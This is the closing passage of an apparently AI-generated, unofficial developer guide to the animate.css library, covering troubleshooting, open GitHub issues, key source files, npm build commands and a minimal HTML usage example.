| `shake` class does nothing | `shake.css` not imported into distributed build | Section 8.4 |
| Classes don't match expected names | Wrong artifact: `compat` vs default | Check loaded filename |
| `calc()` produces "invalid" warnings in older browsers | `postcss-preset-env` should have inlined fallback — verify `features.custom-properties: true` is running | `postcss.config.js` |

> [!TIP]
> When debugging animation issues in production, the fastest diagnostic is to check which CSS file is loaded (view source or DevTools Network tab). If it's `animate.compat.css`, classes are unprefixed. If it's `animate.min.css`, they need the `animate__` prefix.

---

## 11. Known Issues

From the repository's GitHub issue tracker (17 issues fetched):

**Open bugs (community-confirmed):**

| Issue | Summary | Notes |
|---|---|---|
| [#1856](https://github.com/animate-css/animate.css/issues/1856) | Bug on page loading | 5 comments; investigate load-time race with custom properties |
| [#1855](https://github.com/animate-css/animate.css/issues/1855) | Intellisense | Editor tooling gap — class names not surfaced by standard CSS intellisense |
| [#1853](https://github.com/animate-css/animate.css/issues/1853) | Bootstrap issue | Prefix/class-name conflict with Bootstrap utility classes |

**Open feature requests:**

- [#1918](https://github.com/animate-css/animate.css/issues/1918) — Mood/content-based animation recommendations
- [#1916](https://github.com/animate-css/animate.css/issues/1916) — `zoomIn`: partial-range playback
- [#1901](https://github.com/animate-css/animate.css/issues/1901) — Add a new animation
- [#1331](https://github.com/animate-css/animate.css/issues/1331) — Make importing source files possible (subset-build support)
- [#1842](https://github.com/animate-css/animate.css/issues/1842) — Copy button for docs code snippets
- [#1861](https://github.com/animate-css/animate.css/issues/1861) — Hover effect on footer links
- [#1895](https://github.com/animate-css/animate.css/issues/1895) — Visual refresh of docs UI

**Repository-level gaps:**

- No automated tests (see section 8.7)
- `shake.css` exists in source but is not imported (see section 8.4)
- No `.d.ts` or JSON manifest of animation names
- No tree-shake-friendly package export map (only a single `main` pointing at monolithic CSS)

---

## 12. Quick Reference

### Key files for any change

| Change you want to make | File to edit |
|---|---|
| Global default duration | `source/_vars.css` |
| Base `.animated` machinery | `source/_base.css` |
| Add new animation | New file under `source/{group}/` + `@import` line in `source/animate.css` |
| Change prefix | `package.json#animateConfig.prefix` |
| Change build environments | `postcss.config.js` |
| Docs site sections | `docsSource/sections/*.md` |
| Docs site layout | `docsSource/template.html` |

### Commands cheat sheet

```bash
npm install            # Install devDependencies, set up husky hooks
npm start              # Full build: raw -> prod -> compat
npm run dev            # Watch-mode build
npm run docs           # Rebuild docs site
npm run format         # Prettier all source
npm version patch      # Bump version, build, commit, tag, push
```

### Minimum consumer footprint

```html
<link rel="stylesheet" href="/animate.min.css">
<div class="animate__animated animate__fadeIn">Hello</div>
```

Two lines. No JavaScript. No build step.

---

_Generated May 2026 from animate-css/animate.css at 3f8ab23. AI-generated documentation. The library is checked by sampling (three repositories so far); this guide was not individually reviewed. Verify against the project before relying on it. Unofficial; not affiliated with or reviewed by the project._
